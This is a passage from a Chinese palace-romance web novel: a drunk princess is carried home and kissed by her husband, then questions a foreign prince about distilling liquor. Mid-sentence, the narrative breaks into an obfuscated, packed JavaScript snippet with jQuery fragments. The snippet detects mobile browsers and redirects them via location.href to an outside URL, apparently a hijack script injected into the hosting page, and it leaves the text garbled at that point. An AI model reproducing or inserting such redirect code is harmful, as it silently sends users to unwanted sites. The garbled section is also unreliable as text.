见妹妹往怀里扑过来,赵奉明下意识地是去看谢辞,心里念叨着这小祖宗怎么喝酒了。
谢辞微微抬眼:“发生何事?”
王朗抹了一把脸上的水,无奈苦笑着,眼下委屈的是他,可眼前这一排排皇亲国戚,能惹得起谁?事已至此,为了日后考虑,他必须继续委屈下去。
“……是我自己不小心跌入池中的。”
赵奉明抱着妹妹,一瞧这情形,许是愚蠢的宫人,把妹妹的果饮上错成酒。
王朗摆手拒绝任何人的帮助,拖着浸湿的衣袍,行礼:“我没事,我真的没事,是我失礼了。”
赵奉明:“我那有新衣袍,二郎且先去换上吧。”
“多谢殿下,那我便恭敬不如从命了。”
谢辞始终静静地看着,最终看着秦王,眼神似是在说,什么时候把九公主还给我?
聪明人之间只需一个眼神,便知对方要什么,赵奉明放心地把妹妹交到谢辞怀里,“你们先回去休息吧。”
赵令仪朦胧间,挣扎着不肯离开八哥的怀抱,无意间抓了谢辞手背好几下,她瘫软在谢辞肩头,嗅了嗅熟悉的茶香,又忍不住地往怀里钻。
“秦王殿下。”谢辞举止恭敬,言语平静,“告辞。”
“慢走啊~”
赵令仪只觉天旋地转,在马车上痛不欲生,耳朵像是被堵住,整个人像是被什么东西罩住,闷得手心出汗,使不上力,她用鼻尖闷哼地吐出一个字:“晕。”
呼吸声传入耳朵,赵令仪只觉茶香愈发浓烈,压迫得她喘不过气,忽而摇晃的马车停了,天旋地转间有人将她抱起来,她猛然地睁开眼,英俊侧脸映入眼帘,美得她心尖一颤,不由得伸出手指,轻戳了下脸颊。
谢辞一顿,转头看向她,沉默不语。
赵令仪笑得灿烂,说完“好看”两字,瞬时晕倒在谢辞肩头。
谢辞无奈轻叹,萦绕在心口烦闷一扫而空,抱着赵令仪进寝殿,将她放在床榻上,刚安顿好,赵令仪一个打挺起身,双眼呆滞,谢辞一顿,俯身蹲下,抬头看着她。
“怎么了?”
“不困不睡。”
谢辞转而看向听竹,眼神示意她端来醒酒汤,招了招手示意两人出去,这里有他照顾。
赵令仪头摇成拨浪鼓:“不喝。”
谢辞耐心地问道,“那想做什么?”
赵令仪深吸一口气,微微俯身,压低声音,没头没尾地来一句:“你别把我扔到油锅里炸,我觉得这样不好。”
迎面清甜酒香,淡然却令人一醉,谢辞眼神一顿,不动声色地紧紧牙关,是谁把这事传到九公主耳朵里的?又吓到她怎么办?
“不会的。”谢辞趁着赵令仪发呆,顺势将她搂在怀里,喂了一口醒酒汤。
脸颊发烫的赵令仪,抿着醒酒汤,砸吧着酸甜滋味,“谢辞,你对我冷冰冰的,不好,你不用我送你的东西,不好,还有,你生得太漂亮,也特别不好!”
每说一个“不好”,赵令仪都斩钉截铁地摇头,看样子是在心里压抑了很久,谢辞静静地听着,那都是九公主心里之前的委屈,好在他都慢慢改掉了。
只是这最后一点是怎么回事?
“生得...太漂亮?”说这话,谢辞有些难以启齿,可他太好奇了,引导着赵令仪说出心中所想。
“对,只因你生得太漂亮,所有人都在觊觎你的美貌。”赵令仪煞有其事地说道,“我要想办法帮你藏起来,让谁都看不到。”
“好,我愿意让殿下藏起来。”谢辞明白是怎么一回事,眼底泛起无奈笑意,心中泛起酸意,又喂了一口“那,我就没有好的时候?”
“有呀。”赵令仪眯起眼睛,真诚地说:“你现在抱我的时候,就特别好。”
四目相对间,谢辞心尖像是被蜜蜂蛰了下,两人距离太近,他微微低头,便能吻住她的唇。
带着酒气的呼吸交织在一起,静默对视间,一点点瓦解人的理智,谢辞放下醒酒汤,抬头在赵令仪唇角蜻蜓点水般地一啄,声音不觉间沙哑,“这样呢?好不好。”
醒酒汤中乌梅香气,被酒渍过后,酸甜挥发更甚,诱人深入。
赵令仪“好”字只说一半,便被长驱直入的吻吞入,温热掌心覆在双耳,喧嚣被隔绝在外,周遭瞬时安静,只余急促交织的呼吸和震耳欲聋的心跳,蜜糖般甜腻将她紧紧包围,她只得一直向后,而总有一道力稳稳地将她托住。
“殿下可知,我本不想趁人之危...”谢辞眼中聚起虔诚,双手完全捧住赵令仪的小脸,掌心托着滚烫,居高临下却带着臣服的意味,语气放轻带着虔诚。
谢辞目光温柔地路过茫然的眉眼,小巧的鼻尖,最终落到柔软温润的唇上,捧在他掌心的小脸,就像是酒渍过的樱桃,色泽红润,犹如美味珍馐,诱人垂涎。
谢辞并不急,只是静静地等待着,直到赵令仪反抱住他,才将诱人的樱桃,吞入腹中。
-
清晨微亮,赵令仪猛然惊醒,宿醉昏沉,后背隐隐作痛传至四肢百骸,她缓缓起身,脑海中猛然响起一个声音。
不好!
记忆如潮水般涌入脑海,赵令仪发愣地回忆着,疼痛中掺拌着悔恨,将她淹没,她羞愧地钻进被子里,盖住脸,试图把自己捂死一了百了。
忽而,尴尬记忆褪去,渡着绚丽霓虹的画面,在黑暗中缓缓地浮在眼前,触感通过回忆,沁入肌肤,每一寸都充斥着暧昧,缱绻,沉醉....
她好像又咬了谢辞一口。
此时她如沉入水中,濒死挣扎着,忽而被子掀开一角,在凌乱狼狈中,她看到她羞于见到的面孔。
谢辞早朝归来,暗紫色官服衬得面容锋利且威严,而琥珀色双眸中却盛满不为人知的柔情,带着宠溺与无奈。
赵令仪轻吸一口气,从何时开始,谢辞什么都不说,就这么静静看着她,就足以令她为之心跳。
“谢辞。”
“嗯。”谢辞轻声回道,似是想到什么,轻咳一声,“殿下用饭了吗?”
赵令仪迟滞地摇摇头,她已经不知做何神情,如何面对谢辞,正当她愣神之际,谢辞握着她的手,轻拉起身。
“用饭吧。”
赵令仪梳洗过后,坐在饭桌旁,方才回过些神,一点一点地吃着,她也不是胃口不好,只是头疼还未消减。
“怎么了?”谢辞察觉到赵令仪没胃口。
“没事,就是有些头疼。”
即便谢辞已用过饭,但他也会坐着陪赵令仪用饭,有时处理军务,也有时研究舆图,此时他放下手中的舆图,走过去站在赵令仪身后。
赵令仪还没反应过来,温热指腹按着两边太阳穴,力道不轻不重刚好化解她的疼痛,致使她刚要出于礼貌张口拒绝,又因无法割舍舒服而静默地接受这份好意。
“我昨天是不是把王二郎君推池塘里了?”赵令仪有些羞赧地问道,当时她确实不清醒,但回过神来时,也是有些记忆的,王朗竟知晓济世医馆是她的。
她不得不找他好好谈谈这桩生意。
“是。”
“那我...要不要拿些礼物,去给他赔罪啊。”
“今早遇见王明提起此事,他弟弟并无大碍,殿下也不必自责。”
“啊?”赵令仪坚持道,“我还是...”
“若是殿下实在过意不去。”谢辞顿了顿,“我替殿下去。”
原本谢辞想去了解王明查案进度,又没有合适理由,如此一来,正好去见见,更何况他不可能放任他的九殿下去单独见旁人。
赵令仪见此路行不通,若是她执意要去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382012|196631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见王朗,该令谢辞起疑心了,于是不再坚持。
“那便有劳驸马了。”
正午一过,谢辞去替赵令仪给王朗赔罪。
赵令仪找来徐云,打听了王朗的情况,方知这人生意范围之广,产业之多。
若是查清底细,合作也未尝不可,只是有一点,他是如何知晓济世背后东家是她的呢?
“你再去探探王朗的底细,给他放消息,若是诚心合作,也要等回城再说。”
“是。”
赵令仪松了一口气,将账本放回去,此时济世养生这块入不敷出,全凭着陆方卓一个人撑着,但这倒也不急,等这些官眷贵妇回去,不愁没有生意。
“徐云,我这里有药酒的方子,你帮我带给陆姑娘,这行朝国蒸酒的办法,或许能为我们所用。”
“是。”
若想入得了这些贵妇们的眼,必须与众不同,养生之道也要别出心裁。
徐云前脚刚走,听竹就来禀报:“九公主,十王子求见。”
赵令仪疑惑皱眉,转念一想:“见。”
会客厅内。
赵令仪眉头紧锁,把着脉,眼前身强体壮的十王子,却虚弱地扶额皱眉,一副弱不禁风的样子。
“你哪不舒服?”
魏德罗转着手,无与伦比:“可能是,中暑了吧,对,中暑。”
“哦,那我给你针灸一下吧。”
赵令仪拿来银针,把十王子吓得瑟瑟发抖,可为能与姐姐多待一会儿,只能应承下来。
“听说姐姐嫁到了国公府?国公府上下三千多号人,全都在姐姐的掌管之下。”
赵令仪没意识到自己管如此多人,经魏德罗这么一说,她还有些小骄傲,不可置否地点点头,“算是吧。”
“那姐姐也太厉害了吧。”魏德罗骄傲得像是他自己统领三千多号人一样。
“哎,十王子,你爱饮酒吗?”赵令仪捻搓银针,漫不经心地问。
“爱啊?”魏德罗仰头,扑闪着大眼睛,“姐姐,你要喝酒吗,和我一起?”
“那倒不是。”赵令仪看着满头银针如刺猬一般的魏得罗,忍俊不禁,出于医者对患者的尊重,她正色道,“我对你们蒸酒法很是感兴趣,你能不能同我说说?”
魏得罗一副你算是问对人了,如数家珍地娓娓道来,赵令仪怕口渴着客人,命书琴切些水果,两人边吃边聊,一时间也忘却礼仪,怎么舒服怎么坐着,托着腮谈得正欢,余光瞥见一个身影,抬眼把她吓了一跳,立即正襟危坐。
“驸马。”
魏得罗礼数周到,“驸马。”
两人如孩童偷玩,被大人抓包一般,魏得罗嘴里吃着葡萄,也不知是咽下去,还是吐出来。
“十王子。”谢辞微微点头,算是回礼,只是淡淡地看了两人一眼,什么都没说,转身退去。
赵令仪抓着十王子的袖子,“要不,你先回去吧。”
虽说赵令仪问心无愧,可她能感到谢辞并不喜欢这个异域来的王子。
“为什么?”魏得罗一副懵懂的样子,“驸马让我们先聊。”
“啊,你还是快走吧。”赵令仪给他塞了一个苹果,“他不高兴生气了是会把人扔到油锅里炸的。”
魏得罗倒吸一口凉气,把曲折的口音吓出来,“真的吗?但我好像没惹他吧。姐姐,这是个危险的人物,你跟我一起走吧。”
赵令仪怎么跟一个小孩解释清楚呢,她自己都说不清,全凭直觉感到谢辞确实不太高兴,招手道:“听竹,送客。”
送走十王子后,赵令仪捧着切好的西瓜,去书房找谢辞。
成婚以来,她自认为与谢辞相处得不错,倒不至于祸及于她。
想到这,赵令仪弯眼笑着推开门,谄媚清脆地叫着:“驸~马~”